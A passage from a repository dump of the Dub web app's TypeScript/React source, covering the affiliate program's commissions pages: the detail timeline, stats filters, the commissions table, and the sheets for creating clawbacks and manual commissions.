{CommissionStatusBadges[commission.status].label}\n                      </StatusBadge>\n                    </>\n                  ),\n                },\n              ]\n            : []),\n\n          // Pending / created event\n          {\n            icon: CommissionStatusBadges[\"pending\"].icon,\n            timestamp: commission.createdAt,\n            note: (() => {\n              const text = commission.reward\n                ? `Earn ${\n                    commission.reward.type === \"percentage\"\n                      ? `${commission.reward.amountInPercentage ?? 0}%`\n                      : currencyFormatter(\n                          commission.reward.amountInCents ?? 0,\n                          { trailingZeroDisplay: \"stripIfInteger\" },\n                        )\n                  } per ${commission.reward.event}`\n                : commission.description ?? null;\n\n              if (!text) return undefined;\n\n              return (\n                <CommentCardDisplay\n                  user={commission.user}\n                  timestamp={commission.createdAt}\n                  text={text}\n                />\n              );\n            })(),\n            children: (\n              <>\n                <span className=\"text-sm text-neutral-700\">Commission</span>\n                <StatusBadge\n                  icon={null}\n                  variant={CommissionStatusBadges[\"pending\"].variant}\n                >\n                  {CommissionStatusBadges[\"pending\"].label}\n                </StatusBadge>\n                {commission.user ? (\n                  <>\n                    <span className=\"text-sm text-neutral-500\">by</span>\n                    <div className=\"flex h-6 items-center gap-2 rounded-lg bg-neutral-100 px-2 py-1\">\n                      <img\n                        src={\n                          commission.user.image ||\n                          `${OG_AVATAR_URL}${commission.user.id}`\n                        }\n                        alt={commission.user.name ?? \"\"}\n                        className=\"size-4 rounded-full\"\n                      />\n                      <span className=\"text-[13px] text-neutral-700\">\n                        {commission.user.name}\n                      </span>\n                    </div>\n                  </>\n                ) : null}\n              </>\n            ),\n          },\n        ].map((event, index, arr) => (\n          <ActivityEvent\n            key={index}\n            icon={event.icon}\n            timestamp={event.timestamp}\n            note={event.note}\n            isLast={index === arr.length - 1}\n          >\n            {event.children}\n          </ActivityEvent>\n        ))}\n      </div>\n    </div>\n  );\n}\n\nfunction CommissionDetailSkeleton() {\n  return (\n    <div className=\"flex flex-col gap-6 lg:flex-row\">\n      <div className=\"order-last min-w-0 flex-1 lg:order-first\">\n        <div className=\"h-32 animate-pulse rounded-xl border border-neutral-200 bg-neutral-100\" />\n        <div className=\"mt-6 h-20 animate-pulse rounded-xl bg-neutral-100\" />\n      </div>\n      <div className=\"order-first w-full shrink-0 lg:order-last lg:w-[360px]\">\n        <div className=\"h-64 animate-pulse rounded-xl border border-neutral-200 bg-neutral-100\" />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/commissions/[commissionId]/page.tsx",
    "content": "import { CommissionDetailsPageClient } from \"./page-client\";\n\nexport default function CommissionDetailsPage() {\n  return <CommissionDetailsPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/commissions/commission-popover-buttons.tsx",
    "content": "\"use client\";\n\nimport { useExportCommissionsModal } from \"@/ui/modals/export-commissions-modal\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, Download, IconMenu, Popover, Refresh2 } from \"@dub/ui\";\nimport { useState } from \"react\";\nimport { useCreateClawbackSheet } from \"./create-clawback-sheet\";\n\nexport function CommissionPopoverButtons() {\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const { createClawbackSheet, setIsOpen: setClawbackSheetOpen } =\n    useCreateClawbackSheet({});\n\n  const { ExportCommissionsModal, setShowExportCommissionsModal } =\n    useExportCommissionsModal();\n\n  return (\n    <>\n      {createClawbackSheet}\n      <ExportCommissionsModal />\n      <Popover\n        content={\n          <div className=\"w-full md:w-52\">\n            <div className=\"grid gap-px p-2\">\n              <button\n                onClick={() => {\n                  setOpenPopover(false);\n                  setClawbackSheetOpen(true);\n                }}\n                className=\"w-full rounded-md p-2 hover:bg-neutral-100 active:bg-neutral-200\"\n              >\n                <IconMenu\n                  text=\"Create clawback\"\n                  icon={<Refresh2 className=\"h-4 w-4\" />}\n                />\n              </button>\n            </div>\n\n            <div className=\"border-t border-neutral-200\" />\n\n            <div className=\"grid gap-px p-2\">\n              <p className=\"mb-1.5 mt-1 flex items-center gap-2 px-1 text-xs font-medium text-neutral-500\">\n                Export Commissions\n              </p>\n              <button\n                onClick={() => {\n                  setOpenPopover(false);\n                  setShowExportCommissionsModal(true);\n                }}\n                className=\"w-full rounded-md p-2 hover:bg-neutral-100 active:bg-neutral-200\"\n              >\n                <IconMenu\n                  text=\"Export as CSV\"\n                  icon={<Download className=\"h-4 w-4\" />}\n                />\n              </button>\n            </div>\n          </div>\n        }\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n        align=\"end\"\n      >\n        <Button\n          onClick={() => setOpenPopover(!openPopover)}\n          variant=\"secondary\"\n          className=\"h-8 w-auto px-1.5 sm:h-9\"\n          icon={<ThreeDots className=\"h-5 w-5 text-neutral-500\" />}\n        />\n      </Popover>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/commissions/commissions-stats.tsx",
    "content": "\"use client\";\n\nimport useCommissionsCount from \"@/lib/swr/use-commissions-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CommissionStatusBadges } from \"@/ui/partners/commission-status-badges\";\nimport { ProgramStatsFilter } from \"@/ui/partners/program-stats-filter\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { Users } from \"@dub/ui/icons\";\n\nexport function CommissionsStats() {\n  const { slug } = useWorkspace();\n  const { queryParams } = useRouterStuff();\n  const { commissionsCount, error } = useCommissionsCount({\n    exclude: [\"status\", \"page\"],\n  });\n\n  return (\n    <div className=\"xs:grid-cols-4 xs:divide-x xs:divide-y-0 grid divide-y divide-neutral-200 overflow-hidden rounded-lg border border-neutral-200\">\n      <ProgramStatsFilter\n        label=\"All\"\n        href={`/${slug}/program/commissions`}\n        count={commissionsCount?.all.count}\n        amount={commissionsCount?.all.earnings}\n        icon={Users}\n        iconClassName=\"text-neutral-600 bg-neutral-100\"\n        variant=\"loose\"\n        error={!!error}\n      />\n      <ProgramStatsFilter\n        label=\"Pending\"\n        href={\n          queryParams({\n            set: { status: \"pending\" },\n            getNewPath: true,\n          }) as string\n        }\n        count={commissionsCount?.pending.count}\n        amount={commissionsCount?.pending.earnings}\n        icon={CommissionStatusBadges.pending.icon}\n        iconClassName={CommissionStatusBadges.pending.className}\n        variant=\"loose\"\n        tooltip=\"Commissions that are pending and will be eligible for payout after the [payout holding period](https://dub.co/help/article/partner-payouts#payout-holding-period) for the partner group.\"\n        error={!!error}\n      />\n      <ProgramStatsFilter\n        label=\"Processed\"\n        href={\n          queryParams({\n            set: { status: \"processed\" },\n            getNewPath: true,\n          }) as string\n        }\n        count={commissionsCount?.processed.count}\n        amount={commissionsCount?.processed.earnings}\n        icon={CommissionStatusBadges.processed.icon}\n        iconClassName={CommissionStatusBadges.processed.className}\n        variant=\"loose\"\n        tooltip=\"Commissions that have been processed and are now eligible for payout.\"\n        error={!!error}\n      />\n      <ProgramStatsFilter\n        label=\"Paid\"\n        href={\n          queryParams({\n            set: { status: \"paid\" },\n            getNewPath: true,\n          }) as string\n        }\n        count={commissionsCount?.paid.count}\n        amount={commissionsCount?.paid.earnings}\n        icon={CommissionStatusBadges.paid.icon}\n        iconClassName={CommissionStatusBadges.paid.className}\n        variant=\"loose\"\n        tooltip=\"Commissions that have been paid.\"\n        error={!!error}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/commissions/commissions-table.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useCommissionsCount from \"@/lib/swr/use-commissions-count\";\nimport { useFraudGroupCount } from \"@/lib/swr/use-fraud-groups-count\";\nimport useGroups from \"@/lib/swr/use-groups\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CommissionResponse, FraudGroupCountByPartner } from \"@/lib/types\";\nimport { CLAWBACK_REASONS_MAP } from \"@/lib/zod/schemas/commissions\";\nimport { CustomerRowItem } from \"@/ui/customers/customer-row-item\";\nimport { CommissionRowMenu } from \"@/ui/partners/commission-row-menu\";\nimport { CommissionStatusBadges } from \"@/ui/partners/commission-status-badges\";\nimport { CommissionTypeBadge } from \"@/ui/partners/commission-type-badge\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { PartnerRowItem } from \"@/ui/partners/partner-row-item\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { FilterButtonTableRow } from \"@/ui/shared/filter-button-table-row\";\nimport SimpleDateRangePicker from \"@/ui/shared/simple-date-range-picker\";\nimport {\n  AnimatedSizeContainer,\n  EditColumnsButton,\n  Filter,\n  StatusBadge,\n  Table,\n  TimestampTooltip,\n  Tooltip,\n  useColumnVisibility,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { MoneyBill2 } from \"@dub/ui/icons\";\nimport {\n  cn,\n  currencyFormatter,\n  fetcher,\n  formatDateTimeSmart,\n  nFormatter,\n} from \"@dub/utils\";\nimport { useRouter } from \"next/navigation\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport { useCommissionFilters } from \"./use-commission-filters\";\n\nconst commissionsColumns = {\n  all: [\n    \"createdAt\",\n    \"customer\",\n    \"partner\",\n    \"group\",\n    \"type\",\n    \"amount\",\n    \"commission\",\n    \"status\",\n  ],\n  defaultVisible: [\n    \"createdAt\",\n    \"customer\",\n    \"partner\",\n    \"type\",\n    \"amount\",\n    \"commission\",\n    \"status\",\n  ],\n};\n\nexport function CommissionsTable() {\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n    setSearch,\n    setSelectedFilter,\n  } = useCommissionFilters();\n\n  const workspace = useWorkspace();\n  const { id: workspaceId, slug } = workspace;\n  const router = useRouter();\n  const { program } = useProgram();\n  const { groups } = useGroups();\n\n  const { pagination, setPagination } = usePagination();\n  const { queryParams, getQueryString, searchParamsObj } = useRouterStuff();\n  const { sortBy, sortOrder } = searchParamsObj as {\n    sortBy: string;\n    sortOrder: \"asc\" | \"desc\";\n  };\n\n  const {\n    data: commissions,\n    error,\n    isLoading,\n  } = useSWR<CommissionResponse[]>(\n    `/api/commissions${getQueryString({\n      workspaceId,\n      timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n    })}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { commissionsCount } = useCommissionsCount({\n    exclude: [\"page\"],\n  });\n\n  const defaultVisibleColumns = useMemo(() => {\n    const base = [...commissionsColumns.defaultVisible];\n\n    if (program?.primaryRewardEvent !== \"sale\") {\n      // Hide amount when primaryRewardEvent is not 'sale'\n      const amountIndex = base.indexOf(\"amount\");\n      if (amountIndex > -1) {\n        base.splice(amountIndex, 1);\n      }\n    }\n\n    return base;\n  }, [program?.primaryRewardEvent]);\n\n  const { columnVisibility, setColumnVisibility } = useColumnVisibility(\n    \"commissions-table-columns\",\n    {\n      all: commissionsColumns.all,\n      defaultVisible: defaultVisibleColumns,\n    },\n  );\n\n  const { fraudGroupCount } = useFraudGroupCount<FraudGroupCountByPartner[]>({\n    query: {\n      groupBy: \"partnerId\",\n      status: \"pending\",\n    },\n    ignoreParams: true,\n  });\n\n  const { canManageFraudEvents } = getPlanCapabilities(workspace?.plan ?? \"\");\n\n  const columns = useMemo(\n    () =>\n      [\n        {\n          id: \"createdAt\",\n          header: \"Date\",\n          cell: ({ row }) => (\n            <TimestampTooltip\n              timestamp={row.original.createdAt}\n              side=\"right\"\n              rows={[\"local\", \"utc\", \"unix\"]}\n              delayDuration={150}\n            >\n              <p>{formatDateTimeSmart(row.original.createdAt)}</p>\n            </TimestampTooltip>\n          ),\n        },\n        {\n          id: \"customer\",\n          header: \"Customer\",\n          maxSize: 250,\n          cell: ({ row }) =>\n            row.original.customer ? (\n              <div className=\"flex items-center gap-2\">\n                <CustomerRowItem\n                  customer={row.original.customer}\n                  href={`/${slug}/program/customers/${row.original.customer.id}`}\n                />\n              </div>\n            ) : (\n              \"-\"\n            ),\n          meta: {\n            filterParams: ({ row }) =>\n              row.original.customer\n                ? {\n                    customerId: row.original.customer.id,\n                  }\n                : {},\n          },\n        },\n        {\n          id: \"partner\",\n          header: \"Partner\",\n          cell: ({ row }) => <PartnerRowItem partner={row.original.partner} />,\n          maxSize: 200,\n          meta: {\n            filterParams: ({ row }) => ({\n              partnerId: row.original.partner.id,\n            }),\n          },\n        },\n        {\n          id: \"group\",\n          header: \"Group\",\n          cell: ({ row }) => {\n            if (!groups) return \"-\";\n\n            const group = groups.find(\n              (g) => g.id === row.original.partner.groupId,\n            );\n\n            if (!group) return \"-\";\n\n            return (\n              <div className=\"flex items-center gap-2\">\n                <GroupColorCircle group={group} />\n                <span className=\"truncate text-sm font-medium\">\n                  {group.name}\n                </span>\n              </div>\n            );\n          },\n        },\n        {\n          id: \"type\",\n          header: \"Type\",\n          accessorKey: \"type\",\n          meta: {\n            filterParams: ({ row }) => ({\n              type: row.original.type ?? \"sale\",\n            }),\n          },\n          cell: ({ row }) => (\n            <CommissionTypeBadge type={row.original.type ?? \"sale\"} />\n          ),\n        },\n        {\n          id: \"amount\",\n          header: \"Amount\",\n          accessorFn: (d) =>\n            d.type === \"sale\"\n              ? currencyFormatter(d.amount)\n              : nFormatter(d.quantity),\n        },\n        {\n          id: \"commission\",\n          header: \"Commission\",\n          cell: ({ row }) => {\n            const commission = row.original;\n\n            const earnings = currencyFormatter(commission.earnings);\n\n            if (commission.description) {\n              const reason =\n                CLAWBACK_REASONS_MAP[commission.description]?.description ??\n                commission.description;\n\n              return (\n                <Tooltip content={reason}>\n                  <span\n                    className={cn(\n                      \"cursor-help truncate underline decoration-dotted underline-offset-2\",\n                      commission.earnings < 0 && \"text-red-600\",\n                    )}\n                  >\n                    {earnings}\n                  </span>\n                </Tooltip>\n              );\n            }\n\n            return (\n              <span\n                className={cn(\n                  commission.earnings < 0 && \"text-red-600\",\n                  \"truncate\",\n                )}\n              >\n                {earnings}\n              </span>\n            );\n          },\n        },\n        {\n          id: \"status\",\n          header: \"Status\",\n          cell: ({ row }) => {\n            const partnerHasPendingFraud = fraudGroupCount?.find(\n              ({ partnerId }) => partnerId === row.original.partner.id,\n            );\n\n            const status =\n              canManageFraudEvents &&\n              partnerHasPendingFraud &&\n              [\"pending\", \"processed\"].includes(row.original.status)\n                ? \"hold\"\n                : row.original.status;\n\n            const badge = CommissionStatusBadges[status];\n\n            return (\n              <StatusBadge\n                icon={null}\n                variant={badge.variant}\n                tooltip={badge.tooltip({\n                  variant: \"workspace\",\n                  program,\n                  workspace,\n                  group: row.original.partner.groupId\n                    ? groups?.find((g) => g.id === row.original.partner.groupId)\n                    : undefined,\n                  commission: row.original,\n                  partner: row.original.partner,\n                })}\n              >\n                {badge.label}\n              </StatusBadge>\n            );\n          },\n        },\n        // Menu\n        {\n          id: \"menu\",\n          enableHiding: false,\n          header: ({ table }) => <EditColumnsButton table={table} />,\n          cell: ({ row }) => <CommissionRowMenu row={row} />,\n        },\n      ].filter((c) => c.id === \"menu\" || commissionsColumns.all.includes(c.id)),\n    [slug, groups, program, workspace, fraudGroupCount],\n  );\n\n  const table = useTable<CommissionResponse>({\n    data: commissions || [],\n    columns,\n    columnPinning: { right: [\"menu\"] },\n    pagination,\n    onPaginationChange: setPagination,\n    columnVisibility,\n    onColumnVisibilityChange: setColumnVisibility,\n    sortableColumns: [\"createdAt\", \"amount\"],\n    sortBy,\n    sortOrder,\n    onSortChange: ({ sortBy, sortOrder }) =>\n      queryParams({\n        set: {\n          ...(sortBy && { sortBy }),\n          ...(sortOrder && { sortOrder }),\n        },\n        del: \"page\",\n        scroll: false,\n      }),\n    onRowClick: (row, e) => {\n      const url = `/${slug}/program/commissions/${row.original.id}`;\n      if (e.metaKey || e.ctrlKey) window.open(url, \"_blank\");\n      else router.push(url);\n    },\n    onRowAuxClick: (row) =>\n      window.open(`/${slug}/program/commissions/${row.original.id}`, \"_blank\"),\n    rowProps: (row) => ({\n      onPointerEnter: () =>\n        router.prefetch(`/${slug}/program/commissions/${row.original.id}`),\n    }),\n    cellRight: (cell) => {\n      const meta = cell.column.columnDef.meta as\n        | {\n            filterParams?: any;\n          }\n        | undefined;\n\n      return (\n        meta?.filterParams && (\n          <FilterButtonTableRow set={meta.filterParams(cell)} />\n        )\n      );\n    },\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) => `commission${p ? \"s\" : \"\"}`,\n    rowCount:\n      commissionsCount?.[searchParamsObj.status || \"all\"]?.count ??\n      commissions?.length ??\n      0,\n    loading: isLoading,\n    error: error\n      ? error instanceof Error\n        ? error.message\n        : \"Failed to load commissions\"\n      : undefined,\n  });\n\n  return (\n    <div className=\"flex flex-col gap-3\">\n      <div>\n        <div className=\"flex flex-col gap-3 md:flex-row md:items-center\">\n          <Filter.Select\n            className=\"w-full md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n            onSearchChange={setSearch}\n            onSelectedFilterChange={setSelectedFilter}\n          />\n          <SimpleDateRangePicker\n            className=\"w-full sm:min-w-[200px] md:w-fit\"\n            defaultInterval=\"all\"\n          />\n        </div>\n        <AnimatedSizeContainer height>\n          <div>\n            {activeFilters.length > 0 && (\n              <div className=\"pt-3\">\n                <Filter.List\n                  filters={[\n                    ...filters,\n                    {\n                      key: \"payoutId\",\n                      icon: MoneyBill2,\n                      label: \"Payout\",\n                      options: [],\n                    },\n                  ]}\n                  activeFilters={activeFilters}\n                  onSelect={onSelect}\n                  onRemove={onRemove}\n                  onRemoveAll={onRemoveAll}\n                />\n              </div>\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n      {commissions?.length !== 0 || isLoading ? (\n        <Table {...table} />\n      ) : (\n        <AnimatedEmptyState\n          title=\"No commissions found\"\n          description={\n            isFiltered\n              ? \"No commissions found for the selected filters.\"\n              : \"No commissions have been made for this program yet.\"\n          }\n          cardContent={() => (\n            <>\n              <MoneyBill2 className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          )}\n        />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/commissions/create-clawback-sheet.tsx",
    "content": "import { createClawbackAction } from \"@/lib/actions/partners/create-clawback\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  CLAWBACK_REASONS,\n  createClawbackSchema,\n} from \"@/lib/zod/schemas/commissions\";\nimport { PartnerSelector } from \"@/ui/partners/partner-selector\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, Sheet } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useParams } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ninterface CreateClawbackSheetProps {\n  setIsOpen: (open: boolean) => void;\n  isOpen: boolean;\n  nested?: boolean;\n}\n\ntype FormData = z.infer<typeof createClawbackSchema>;\n\nfunction CreateClawbackSheetContent(\n  props: Omit<CreateClawbackSheetProps, \"nested\">,\n) {\n  const { setIsOpen } = props;\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const params = useParams() as { partnerId: string };\n\n  const {\n    control,\n    handleSubmit,\n    reset,\n    watch,\n    getValues,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = useForm<FormData>({\n    defaultValues: {\n      partnerId: params.partnerId,\n      description: \"\",\n    },\n  });\n\n  const [partnerId, amount, description] = watch([\n    \"partnerId\",\n    \"amount\",\n    \"description\",\n  ]);\n\n  const { executeAsync, isPending } = useAction(createClawbackAction, {\n    onSuccess: () => {\n      toast.success(\"A clawback has been created for the partner!\");\n      setIsOpen(false);\n      mutatePrefix(`/api/commissions?workspaceId=${workspaceId}`);\n      const currentValues = getValues();\n      reset(currentValues);\n    },\n    onError({ error }) {\n      toast.error(error.serverError || \"Failed to create clawback.\");\n    },\n  });\n\n  const onSubmit = async (data: FormData) => {\n    if (!workspaceId || !defaultProgramId) {\n      return;\n    }\n\n    await executeAsync({\n      ...data,\n      amount: data.amount * 100,\n      workspaceId,\n    });\n  };\n\n  const disableSubmitButton = !partnerId || !amount || !description;\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)} className=\"flex h-full flex-col\">\n      <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-white\">\n        <div className=\"flex h-16 items-center justify-between px-6 py-4\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            Create clawback\n          </Sheet.Title>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n      </div>\n      <div className=\"flex-1 overflow-y-auto\">\n        <div className=\"space-y-6 p-6\">\n          <div>\n            <label\n              htmlFor=\"partnerId\"\n              className=\"text-sm font-medium text-neutral-900\"\n            >\n              Partner\n            </label>\n            <div className=\"relative mt-2 rounded-md shadow-sm\">\n              <Controller\n                name=\"partnerId\"\n                control={control}\n                rules={{ required: true }}\n                render={({ field }) => (\n                  <PartnerSelector\n                    selectedPartnerId={field.value}\n                    setSelectedPartnerId={field.onChange}\n                  />\n                )}\n              />\n              {errors.partnerId && (\n                <span className=\"text-xs text-red-600\">\n                  {errors.partnerId.message}\n                </span>\n              )}\n            </div>\n          </div>\n\n          <div>\n            <label\n              htmlFor=\"amount\"\n              className=\"text-sm font-medium text-neutral-900\"\n            >\n              Amount\n            </label>\n            <div className=\"relative mt-2 rounded-md shadow-sm\">\n              <span className=\"absolute inset-y-0 left-0 flex items-center pl-3 text-sm text-neutral-400\">\n                $\n              </span>\n              <Controller\n                name=\"amount\"\n                control={control}\n                rules={{ required: true, min: 0 }}\n                render={({ field }) => (\n                  <input\n                    id=\"amount\"\n                    type=\"number\"\n                    onWheel={(e) => e.currentTarget.blur()}\n                    min=\"0\"\n                    step=\"0.01\"\n                    className=\"block w-full rounded-md border-neutral-300 pl-6 pr-12 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                    placeholder=\"0.00\"\n                    value={field.value === undefined ? \"\" : field.value}\n                    onChange={(e) =>\n                      field.onChange(\n                        e.target.value === \"\"\n                          ? undefined\n                          : parseFloat(e.target.value),\n                      )\n                    }\n                  />\n                )}\n              />\n              <span className=\"absolute inset-y-0 right-0 flex items-center pr-3 text-sm text-neutral-400\">\n                USD\n              </span>\n              {errors.amount && (\n                <span className=\"text-xs text-red-600\">\n                  {errors.amount.message}\n                </span>\n              )}\n            </div>\n          </div>\n\n          <div>\n            <label\n              htmlFor=\"description\"\n              className=\"text-sm font-medium text-neutral-900\"\n            >\n              Reason\n            </label>\n            <div className=\"relative mt-2 rounded-md shadow-sm\">\n              <Controller\n                name=\"description\"\n                control={control}\n                rules={{ required: true }}\n                render={({ field }) => (\n                  <select\n                    id=\"description\"\n                    className=\"block w-full rounded-md border-neutral-300 pr-10 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                    value={field.value}\n                    onChange={field.onChange}\n                  >\n                    <option value=\"\" disabled>\n                      Select reason\n                    </option>\n                    {CLAWBACK_REASONS.map((r) => (\n                      <option key={r.value} value={r.value}>\n                        {r.label}\n                      </option>\n                    ))}\n                  </select>\n                )}\n              />\n              {errors.description && (\n                <span className=\"text-xs text-red-600\">\n                  {errors.description.message}\n                </span>\n              )}\n            </div>\n          </div>\n        </div>\n      </div>\n      <div className=\"sticky bottom-0 z-10 border-t border-neutral-200 bg-white\">\n        <div className=\"flex items-center justify-end gap-2 p-5\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            onClick={() => setIsOpen(false)}\n            text=\"Cancel\"\n            className=\"w-fit\"\n            disabled={isPending || isSubmitting || isSubmitSuccessful}\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text=\"Create clawback\"\n            className=\"w-fit\"\n            loading={isPending || isSubmitting || isSubmitSuccessful}\n            disabled={disableSubmitButton}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n\nfunction CreateClawbackSheet({\n  isOpen,\n  setIsOpen,\n  nested,\n}: CreateClawbackSheetProps) {\n  return (\n    <Sheet open={isOpen} onOpenChange={setIsOpen} nested={nested}>\n      <CreateClawbackSheetContent isOpen={isOpen} setIsOpen={setIsOpen} />\n    </Sheet>\n  );\n}\n\nexport function useCreateClawbackSheet(\n  props: { nested?: boolean } & Omit<\n    CreateClawbackSheetProps,\n    \"setIsOpen\" | \"isOpen\"\n  >,\n) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return {\n    createClawbackSheet: (\n      <CreateClawbackSheet setIsOpen={setIsOpen} isOpen={isOpen} {...props} />\n    ),\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/commissions/create-commission-button.tsx",
    "content": "\"use client\";\n\nimport { Button, useKeyboardShortcut, useMediaQuery } from \"@dub/ui\";\nimport { useCreateCommissionSheet } from \"./create-commission-sheet\";\n\nexport function CreateCommissionButton() {\n  const { isMobile } = useMediaQuery();\n  const { createCommissionSheet, setIsOpen: setShowCreateCommissionSheet } =\n    useCreateCommissionSheet({\n      nested: false,\n    });\n\n  useKeyboardShortcut(\"c\", () => setShowCreateCommissionSheet(true));\n\n  return (\n    <>\n      {createCommissionSheet}\n      <Button\n        type=\"button\"\n        onClick={() => setShowCreateCommissionSheet(true)}\n        text={`Create${isMobile ? \"\" : \" commission\"}`}\n        shortcut=\"C\"\n        className=\"h-8 px-3 sm:h-9\"\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/commissions/create-commission-sheet.tsx",
    "content": "import { createManualCommissionAction } from \"@/lib/actions/partners/create-manual-commission\";\nimport { handleMoneyKeyDown } from \"@/lib/form-utils\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useRewards from \"@/lib/swr/use-rewards\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { createCommissionSchema } from \"@/lib/zod/schemas/commissions\";\nimport { StripeCustomerInvoiceSchema } from \"@/lib/zod/schemas/customers\";\nimport { CustomerSelector } from \"@/ui/customers/customer-selector\";\nimport { PartnerLinkSelector } from \"@/ui/partners/partner-link-selector\";\nimport { PartnerSelector } from \"@/ui/partners/partner-selector\";\nimport {\n  ProgramSheetAccordion,\n  ProgramSheetAccordionContent,\n  ProgramSheetAccordionItem,\n  ProgramSheetAccordionTrigger,\n} from \"@/ui/partners/program-sheet-accordion\";\nimport { X } from \"@/ui/shared/icons\";\nimport { CommissionType } from \"@dub/prisma/client\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  LoadingSpinner,\n  Sheet,\n  SmartDateTimePicker,\n  Switch,\n  ToggleGroup,\n} from \"@dub/ui\";\nimport { cn, currencyFormatter, formatDate } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useParams } from \"next/navigation\";\nimport { Dispatch, SetStateAction, useEffect, useMemo, useState } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\n\ninterface CreateCommissionSheetProps {\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n}\n\ntype FormData = z.infer<typeof createCommissionSchema>;\n\ntype StripeInvoiceFromApi = z.infer<typeof StripeCustomerInvoiceSchema>;\n\nasync function fetcherStripeInvoices(url: string): Promise<{\n  invoices: StripeInvoiceFromApi[];\n  noStripeCustomerId?: boolean;\n  message?: string;\n}> {\n  const res = await fetch(url);\n  const body = await res.json().catch(() => ({}));\n  if (!res.ok) {\n    if (res.status === 400 && body?.error?.message) {\n      return {\n        invoices: [],\n        noStripeCustomerId: true,\n        message: body.error.message,\n      };\n    }\n    throw new Error(body?.error?.message ?? \"Failed to load invoices\");\n  }\n  return { invoices: Array.isArray(body) ? body : [] };\n}\n\nfunction CreateCommissionSheetContent({\n  setIsOpen,\n}: CreateCommissionSheetProps) {\n  const { id: workspaceId, defaultProgramId, slug } = useWorkspace();\n  const [hasInvoiceId, setHasInvoiceId] = useState(false);\n  const [hasProductId, setHasProductId] = useState(false);\n  const [hasDate, setHasDate] = useState(false);\n  const [hasSaleEventDate, setHasSaleEventDate] = useState(false);\n\n  const [hasCustomLeadEventDate, setHasCustomLeadEventDate] = useState(false);\n  const [hasCustomLeadEventName, setHasCustomLeadEventName] = useState(false);\n  const [useExistingEvents, setUseExistingEvents] = useState(false);\n\n  const [commissionType, setCommissionType] =\n    useState<CommissionType>(\"custom\");\n\n  type AccordionValue =\n    | \"partner-and-type\"\n    | \"customer-and-commission\"\n    | \"commission\";\n  const [openAccordions, setOpenAccordions] = useState<AccordionValue[]>([\n    \"partner-and-type\",\n  ]);\n\n  const params = useParams() as { partnerId: string };\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    setValue,\n    formState: { errors },\n    control,\n  } = useForm<FormData>({\n    defaultValues: {\n      partnerId: params.partnerId,\n    },\n  });\n\n  const [\n    partnerId,\n    date,\n    amount,\n    linkId,\n    customerId,\n    saleEventDate,\n    saleAmount,\n    leadEventDate,\n    description,\n  ] = watch([\n    \"partnerId\",\n    \"date\",\n    